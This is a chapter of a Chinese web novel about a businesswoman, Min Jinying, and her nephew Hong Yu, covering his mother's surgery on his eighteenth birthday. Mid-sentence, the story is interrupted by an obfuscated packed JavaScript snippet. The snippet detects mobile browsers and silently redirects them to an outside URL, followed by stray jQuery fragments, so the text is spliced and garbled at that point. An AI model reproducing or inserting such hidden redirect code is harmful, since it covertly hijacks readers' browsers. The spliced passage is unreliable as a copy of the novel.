33. Front kick
作品:《侵占遗产之后[年下]》 “我想搬来蛇口。”
闵金瑛立时扬起了巴掌。
洪宇缩着脖子躲,手也抬起来格挡:“不是狮子大开口要你的房子,只是上学搬过来。”
闵金瑛的巴掌仍高举。
“搬过来干什么?你很闲吗?图方便就去香港租房,蛇口这里只能我自己住。”
“不是。”洪宇握住闵金瑛的手腕,“我想过了,从蛇口码头搭船去上学,我还能每天回来看我妈。如果我去香港租房了,起码得一周才能回来一次。”
闵金瑛心一软,手松了力气放下去,可她开口仍旧:“不行……”
“要不要我扶你上楼?别的之后再说。”洪宇眨眨眼睛,话语急匆匆,把闵金瑛的拒绝截断。
“滚,少给我耍小聪明。我说了不行就是不行。”
洪宇闭了嘴,可没有真的听话滚,他还在车里坐着,大有不达目的誓不罢休的磨人劲儿。
闵金瑛面色不豫:“你要想住蛇口,你就拿钱自己在蛇口租房。我说最后一遍,这套房子只有我自己住。”
洪宇皱眉表不解:“为什么啊?你不是住深圳湾吗?你和你小男朋友。”
“没大没小,什么小男朋友,他比你大。”
“难不成你要我叫他姑父?”
姑父?
“姑父,哈哈哈哈,那倒还不至于。”闵金瑛听着乐了,手撑在车窗边沿,有一下没一下玩耳边头发,“也没什么,我回来还没跟我男朋友说。这个……”
她说着抬了抬缠着绷带的右手,“我不想让他知道。”
“为什么?”
“哎,烦人。不知道是不是因为广东燥热他不习惯,搬来深圳之后越来越爱发脾气。让他看到了肯定又说为什么不加强安保,为什么不带他一起回北京,为什么替……”
一句话卡在中间停下,闵金瑛没往下说。
再往下该怎么说。为什么替你挡灾消难?还是更直接地说:我的小男朋友,你的“小姑父”,挺讨厌你讨厌闵家的。他还是个立不稳的大醋缸子,都不用碰,自己就能撒一地的醋。要是让你来蛇口住,而他就呆在深圳湾,他知道了能闹翻天。
洪宇:“嗯?什么?”
“小孩子问这么多干什么,胆儿肥了?敢来安排我的东西了?”闵金瑛张开手指在洪宇额头前隔空一抓,“愿望收回,做梦去吧你。”
洪宇摸摸额头,乖巧退步:“那我自己租房子吧。”
洪宇推门下车,一只脚还没踏出去,又回头问:“明天我去医院看我妈妈,护工说明天要会诊看手术方案,你有空来吗?”
闵金瑛眯了眯眼睛,忽然想这是不是才是洪宇真正要发出的请求。
贼不走空。
用离谱为难的表面把真正所求往后藏,让人不好意思拒绝第二次,拿到自己真正想要的。这是她闵金瑛玩剩下的。
闵金瑛回答:“不一定,我忙着呢。看情况吧,你把时间发给我办公室的行政秘书,让秘书来安排。”
洪宇抿抿嘴唇,下车后扶着车门,保持着回头看闵金瑛的姿势,半晌才点头,跟她说了声再见先走了。
车门关上,闵金瑛隔着车窗看见洪宇上了外头的那辆黑色奥迪,车门关上,开上主路。连湘踩下油门,开进小区车库。
“连湘,如果我有一天生自己的孩子,应该教不好小孩的,对吧?”
连湘还保有几分职场的警惕,以问代替回答:“闵总你想考虑孩子了吗?”
闵金瑛没有说话。孩子,确实没想过。怀着麻烦,生了更麻烦;小的时候让人心疼,长大了更让人头疼。想想还是算了,不如做生意挣钱来得重要,先把蛋糕做大了,再想以后让谁来继续做蛋糕,她甚至不到三十,时候还太早。
“算了,我也没这个耐心。”
即便像洪峥仪那样养个孝顺孩子,好像也没有真金白银顶用。没有闵金瑛的真金白银,孝顺洪宇什么都不是。如果真金白银够多,何愁没有孝女贤孙。
当闵金瑛看着眼前这群她用真金白银从国外请来的医学大牛时,这样的想法更甚。
闵金瑛虽然给洪宇的承诺模棱两可,可到了时间还真出现在医院。
参与会诊的不只有从美国来的医疗团队,还有几个国内顶尖的药理病理学大拿以及他们带来的团队。屏幕上过往的检查资料和方案列了一大堆,讨论争辩的声音也尚未平息。
闵金瑛撑着下巴听,听了半天其实也只是听了个响,可旁边的洪宇是认真非常,身前还放着笔记本电脑,从闵金瑛的角度看过去,能看见屏幕上备忘录里的速记小抄。分屏还有期刊论文,窗口层叠,不输屏幕上头的海量资料。
会议上谁说话,洪宇的眼睛就跟着谁转,脊背绷得紧紧,即便是没有记下东西,十根手指头都按着指法牢牢定在键盘上。
闵金瑛直起身来往前倾,伸手按在洪宇的背上。
洪宇肩膀一抖,疑惑转头。
“别担心。”
手顺着脊柱从上往下。
“别担心,没事的。”
她压低声音,放软了语气来重复。
会议上那些专家口中说的话,洪宇能听懂的不能听懂的,好像一瞬间就化成流水一样,呼啦啦从他的耳朵进去又出去。
话语像魔咒,叫肩膀也松垮下来。
说魔咒的女巫眉毛往上一抬,定定看着他。
手离开他的脊背,女巫往后靠回椅背,又变回慵懒高傲的闵金瑛。
闵金瑛理了理衣服站起身来,走出会议室。等她回来的时候,讨论已经结束定了方案。可即便是洪宇一直在会议室里,内外所有专家都没有浪费时间解释,等到闵金瑛踏进会议室坐下,这才开始说手术方案。
伤势严重,更是疑难杂症,出了方案还远没有能看到希望,第一次手术也不过是系列手术的开始——不管是闵金瑛,还是洪宇,刨去那些艰涩难懂的术语,其实也就听明白了专家未明说的这一层。
专家的发言先告一段落,接下来该是患者家属表态做决定:做,还是不做。
专家看向闵金瑛,闵金瑛把每个人的脸看了一遍,最后扭头看向洪宇。
“做。”洪宇没有一分一毫的犹豫,似乎是担心在座有人没有听到,又像是把决心确认,他重复,“做。”
闵金瑛点头:“好。”
手术定在三天后,洪宇生日当天,这三天就待在医院陪护,连换洗衣服都是让怡福花园的佣人送过来。
头两个晚上尚且算凑合入睡,可手术前夜,洪宇翻来覆去难闭眼,索性起身看着洪峥仪的心跳发呆。
滴。滴。滴。
一声又一声,平和、稳定、规律。
滴。滴。滴。
血压,心跳,这些数字的大与小形成的阈值洪宇记得清清楚楚。
数字没有突破危险,是好事。心跳是熟悉的节奏,是好事。
希望明天还能是这样的晚上,数字也是好的,心跳也是好的,都不要有什么意料之外,都不要变坏。
他走到卫生间,把挂着的毛巾洗了一遍,又过了遍温水,拧得半干,走到洪峥仪的床前,用毛巾给她擦额头脖颈,又从被子下拉出她的手,绕开各类监护的贴片和线路,擦手背,擦手心。
肌肉记忆一样的流程,可也是洪峥仪出事之后才养成的。
照顾洪峥仪的时候熟练有用,闵金瑛前几天因为伤口发炎病了,他这套也派上了用场。
洪宇坐回床边,手里还捏着毛巾,从右手倒左手。他拿起手机来,也跟肌肉记忆一样,过了寥寥无几的朋友圈,落到和闵金瑛的对话框里。
最后那条记录是洪峥仪会诊那天。
闵金瑛:一楼书房的书架上,横放的那两本书,给我带过来。
洪宇:好。
没了。
从那天到现在,洪宇没见过闵金瑛,也没收到过闵金瑛的指令。起初有些不习惯,跟着她从汕头到越南,又去北京,即便没有见面也有指示,跟什么项目,查什么资料。
音讯全无。洪宇原本松了一口气,可却开始浑身不自在。
他把毛巾放在膝头,双手捏起手机,打字,删除,打字,删除,重复,删除。
最后发出去几个字:我妈明天进手术室。
发出又撤回,重新编辑再发送:我妈明天早上八点进手术室。
滴。滴。滴。
心跳声平和、稳定、规律。
没有回复。
他敲出几个字:我明天生日。
指尖悬在发送按钮上,撤回,文字删除。
洪宇把软件杀掉,手机倒扣。
明天就是他的生日,十八岁的生日。从明天开始,闵金瑛将不再是他的监护人,从明天开始,他也有了给洪峥仪签字的权利。闵金瑛实在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832941|187203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是没有必要来医院。她要是记得这个日子,那就实在是连一个理由都没有了。
洪宇去洗了毛巾晾着,重新回去床上躺下,把眼睛闭上。
天黑转天亮。
病房门被推开的一瞬间,洪宇同步睁开眼。
医护有条不紊地准备手术,洪宇跟着床转移到手术室外,走廊宽阔,可等待的椅子也就那么一排,手术灯亮了,洪宇找了个离手术室门最近的位置坐下,捏着手机等。
好安静。安静得只有灯的电流声。
没有平稳的心跳,可洪宇好像能听见手术室里头的心跳声一样。
不是滴滴滴。是扑通扑通。
洪宇恍惚意识到,那是他自己的心跳。
扑通。扑通。
既不平和,更不稳定,也找不到规律。
洪宇把眼睛闭上。
昨天一晚都没有来临的梦境,此刻好像化作了幻觉,洪宇闭着眼睛能看得清楚。老家被卖了的屋子,病重的外婆,家里来来去去的学生,母亲的脸,母亲的画,母亲在他头顶的手。
母亲叫他的声音也清楚:“洪宇。”
“洪宇。”是闵金瑛放软了的声音。
洪宇睁开眼。
裙摆,上头的纹样很好看,颜色渐渐浮现,从灰白变成皇家蓝,上面浮现出织金纹路。
洪宇抬头。
是闵金瑛。
眼眶突然就酸了。
闵金瑛揉洪宇发顶的手一顿。
洪宇这眼尾红红的样子她已经好久没有见过,好像还是第一回见到他的时候,在闵金玺的灵前,跟街头流浪的小狗一样,只是现在这双眼睛里头没有了当时的防备。
闵金瑛的手往下移动,曲着手指在他眼尾轻轻掠过。手抽走,闵金瑛在洪宇身旁的位置坐下。她伤了的手臂没有做固定,穿着西装长袖外套藏住绷带,可没有办法大幅度动作,更没办法用力,只能弯曲放在身前。
“手术时间不短,我让人送饭过来,等会儿你能去休息室吃。”
洪宇揉揉眼睛,看向闵金瑛:“你等会儿还要去哪儿?”
闵金瑛:“我不走,就待在这里。”
洪宇一怔,下意识想问为什么,可条件反射就开始思考闵金瑛会回答什么,他该如何应对。可闵金瑛会回答什么,他没有半分头绪。
闵金瑛垂眼翘起二郎腿,声音轻飘飘:“从今天开始,法律层面上你就不用我管了,高兴吗?小寿星公。”
洪宇看向闵金瑛:“你记得?”
闵金瑛:“当然。”
当然。洪宇垂眼。
当然了,他手上闵家的财产要正式交还给她了,这么重要的事情,闵金瑛怎么会不记得。
小寿星公,高兴吗?
现在洪宇觉得自己在手术室外,高兴不起来,也没有办法去判断自己到底是不是真的高兴。
十八成年又算什么呢?只不过是他的签名从今天开始终于算数,别的什么都不会变。学还是要上,钱还是缺,明天还是充满变数。
洪宇手指弯曲,指甲随着握拳埋进肉里。
可没等拳头真的攥紧,闵金瑛的手已经伸过来,拍开他的拳头。可这次闵金瑛不是拍了巴掌就收手,而是往洪宇手心塞了个方块一样硌手的东西。
洪宇低头看,是个魔方,最最最普通的那种三阶魔方,路边文具店里头最常见的款式,不过是小号的,掌心大小一个,揣兜里都不明显。
闵金瑛又把魔方拿过去,好的那只手迁就着伤了的那只手,把魔方胡乱朝各个方向拧乱了,丢回洪宇手里:“送你的,生日礼物,拿去玩儿吧。”
洪宇没吱声,低头手指翻动不过数秒,魔方还原。
闵金瑛笑起来:“练过?”
洪宇摇摇头,自己把魔方打乱,慢速拼出各种样式。
“不是专门练的,我妈在家里教孩子画画,没时间跟我玩,就给我买了个魔方。一直玩就熟练了。”
“那怎么没见你玩过。”
“没带来深圳。”
闵金瑛一嗤:“真喜欢的话,怎么会不随身带走,又不是什么大件。”
可这句话洪宇没有回应。
时间在手术室外头似乎流动得更漫长更折磨人,洪宇的魔方不知道复原了多少遍,手术室的门终于打开。
医生口罩还没摘下:“闵小姐、小闵先生……”

